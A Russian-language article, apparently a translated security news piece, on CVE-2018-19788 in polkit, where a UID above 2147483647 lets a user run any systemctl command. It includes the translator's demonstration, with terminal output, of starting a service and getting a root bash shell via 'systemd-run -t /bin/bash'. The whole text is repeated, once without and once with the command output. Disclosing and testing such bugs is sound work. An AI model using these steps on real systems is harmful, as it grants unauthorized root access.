Присядьте, у меня есть новость, которая вас сейчас шокирует…
В операционных системах Linux есть неприкрытая уязвимость, позволяющая пользователю с низкими привилегиями санкционировано выполнить любую команду systemctl (и даже стать root — прим. переводчика), если его UID больше 2147483647.
Описанная уязвимость, отслеживаемая как CVE-2018-19788, находится в библиотеке PolicyKit (также известной, как polkit) версии 0.115, предустановленной в большинстве популярных дистрибутивов Linux, включая Red Hat, Debian, Ubuntu и CentOS. Polkit — инструмент в UNIX-подобных системах, используемый для определения политик и предоставления доступа непривилегированных процессов к привилегированным. В отличие от «sudo» не наделяет процесс пользователя правами администратора, а позволяет точно контролировать, что разрешено, а что запрещено.
Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).
Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.
Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.
Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.
Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:
1) для начала проверил, что он лежит
2) попытался запустить, но получил ошибку
3) но затем убедился, что он все-таки запустился
Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат
Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.
Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?
В операционных системах Linux есть неприкрытая уязвимость, позволяющая пользователю с низкими привилегиями санкционировано выполнить любую команду systemctl (и даже стать root — прим. переводчика), если его UID больше 2147483647.
Описанная уязвимость, отслеживаемая как CVE-2018-19788, находится в библиотеке PolicyKit (также известной, как polkit) версии 0.115, предустановленной в большинстве популярных дистрибутивов Linux, включая Red Hat, Debian, Ubuntu и CentOS. Polkit — инструмент в UNIX-подобных системах, используемый для определения политик и предоставления доступа непривилегированных процессов к привилегированным. В отличие от «sudo» не наделяет процесс пользователя правами администратора, а позволяет точно контролировать, что разрешено, а что запрещено.
Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).
Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.
Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.
Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.
Несколько способов эксплуатации от переводчика
Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:
1) для начала проверил, что он лежит
$ systemctl status apache2
● apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
└─apache2-systemd.conf
Active: inactive (dead)
2) попытался запустить, но получил ошибку
$ systemctl start apache2
(process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
3) но затем убедился, что он все-таки запустился
$ systemctl status apache2
● apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
└─apache2-systemd.conf
Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
Main PID: 2829 (apache2)
Tasks: 55 (limit: 4526)
CGroup: /system.slice/apache2.service
├─2829 /usr/sbin/apache2 -k start
├─2830 /usr/sbin/apache2 -k start
└─2831 /usr/sbin/apache2 -k start
Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат
$ systemd-run -t /bin/bash
(process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello
Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.
Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?